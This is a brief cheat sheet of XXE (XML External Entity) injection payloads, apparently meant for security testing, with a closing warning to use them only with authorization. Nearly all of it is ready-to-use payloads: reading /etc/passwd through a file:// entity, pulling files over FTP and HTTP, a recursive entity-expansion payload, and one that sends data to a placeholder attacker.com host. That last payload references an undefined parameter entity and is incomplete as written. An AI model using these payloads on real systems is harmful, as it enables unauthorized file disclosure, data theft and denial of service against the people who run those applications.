Some XXE Payloads

Here are some common XXE payloads that can be used to test for XXE-

1. Basic payload:

<!DOCTYPE replace [<!ENTITY example "Hello World">]>

2. Retrieving sensitive files:

<!DOCTYPE replace [<!ENTITY example SYSTEM "file:///etc/passwd">]>

3. Retrieving files via FTP:

<!DOCTYPE replace [<!ENTITY example SYSTEM "ftp://username:password@ftp.example.com/file">]>

4. Retrieving files via HTTP:

<!DOCTYPE replace [<!ENTITY example SYSTEM "http://example.com/file">]>

5. Sending data to a remote server:

<!DOCTYPE replace [<!ENTITY example SYSTEM "http://attacker.com/?data=%file_contents;">]>

6. Recursive payload:

<!DOCTYPE replace [<!ENTITY example "Hello &example2;"><!ENTITY example2 "&example;&example;&example;">]>

These payloads are just a few examples, and the specific payload you use will depend on the target application and the data you’re trying to retrieve or manipulate. It’s important to note that XXE injection can be a dangerous vulnerability and should only be used in controlled environments with proper authorization and consent.